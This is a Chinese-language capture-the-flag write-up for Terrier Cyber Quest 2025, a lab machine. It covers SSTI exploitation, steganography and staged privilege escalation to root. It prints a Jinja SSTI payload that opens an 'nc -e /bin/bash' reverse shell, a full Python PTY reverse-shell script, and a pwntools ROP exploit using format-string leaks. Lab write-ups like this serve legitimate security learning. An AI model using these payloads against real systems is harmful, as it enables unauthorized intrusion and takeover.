Terrier Cyber Quest 2025 CTF实战全解析:从SSTI漏洞到二进制提权

本文详细记录了Terrier Cyber Quest 2025 CTF比赛的完整解题过程,涵盖网络侦察、SSTI漏洞利用、隐写术分析、权限提升链(从flower用户到root权限)的完整技术细节,涉及nmap扫描、ffuf目录爆破、Python代码注入、二进制漏洞利用等技术要点。

Terrier Cyber Quest 2025 — 简要记录

初始访问

运行nmap扫描:

1
sudo nmap -sC 192.168.57.24 -A -v -p-

在5000端口发现Web服务器。

使用ffuf进行目录爆破:

1
ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -u http://192.168.57.24:5000/FUZZ -fs 3806

发现页面后测试并确认存在SSTI漏洞。

使用以下payload获得初始立足点:

1
{{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['sys'].modules['os'].popen('nc -e /bin/bash IP PORT').read()}}

获得第一个flag:S3Cur1ty_Br3@k_P@55ed

权限提升 — 第一阶段

在根目录发现可疑目录,找到包含下一个挑战提示的笔记。调查pcapng文件后复制所有ICMP数据,通过Hex解码和CyberChef工具获得密码:H1dden_W0rlD_UnD3r_Bit

导出Container.png文件后使用OpenStego工具获得flower用户的凭据:F!ow3r#92@tY8&Vk

通过SSH登录flower用户后,在/handler目录发现daemon.py脚本以leaf用户身份运行。通过修改handler.py文件实现权限提升:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#!/usr/bin/env python3
import socket, os, pty, sys, time, traceback

HOST = "127.0.0.1"
PORT = 6969
CONNECT_TIMEOUT = 6.0

def main():
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(CONNECT_TIMEOUT)
        s.connect((HOST, PORT))
        s.settimeout(None)
        try:
            s.sendall(b"handler: connected - spawning PTY shell\n")
        except Exception:
            pass
    except Exception as e:
        time.sleep(0.2)
        return
    
    fd = s.fileno()
    os.dup2(fd, 0)
    os.dup2(fd, 1)
    os.dup2(fd, 2)
    
    try:
        pty.spawn("/bin/sh")
    except Exception:
        try:
            os.execv("/bin/sh", ["/bin/sh", "-i"])
        except Exception:
            try:
                s.close()
            except Exception:
                pass

if __name__ == "__main__":
    try:
        main()
    except Exception:
        traceback.print_exc()
        time.sleep(0.2)

获得第三个flag:Y0u_kn0w_i5_th15_RaC3

权限提升 — 第二阶段

发现具有SUID权限的challenge二进制文件,分析发现是ret2win挑战。通过覆盖GOT表项获得stem用户权限:

1
2
# 利用脚本关键部分
# 覆盖exit@got[plt]条目为win()函数

获得第四个flag:PwN_2_0wN_N0w_Y0u_ar3_5t3M

权限提升 — 第三阶段

发现final二进制文件存在格式化字符串漏洞和栈溢出漏洞。通过泄露内存地址并构造ROP链获得root权限:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *

p = process("/bin/final")
p.sendline(b"%43$p-%61$p-%64$p")
leak = p.clean().split(b'Your Name:\n')[1].split(b'\n\n')[0].split(b'-')

# 构造利用payload
payload = b"A" * 0x48  # 缓冲区
payload += real_canary  # 栈保护值
payload += b"B" * 0x8   # 保存的rbp
payload += real_libc_pop_rdi_ret  # ROP gadget
payload += p64(0)
payload += real_libc_ret
payload += real_libc_setuid  # setuid(0)
payload += real_libc_pop_rdi_ret
payload += real_binsh  # "/bin/sh"
payload += real_libc_ret
payload += real_libc_system  # system()

p.send(payload)
p.interactive()

获得最终flag:D4Y_0_T0_zeR0_d4Y

总结

感谢阅读这篇简要记录。如果时间允许,我会发布关于二进制漏洞利用的详细分析。如有任何问题,欢迎交流。祝黑客愉快!💖

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计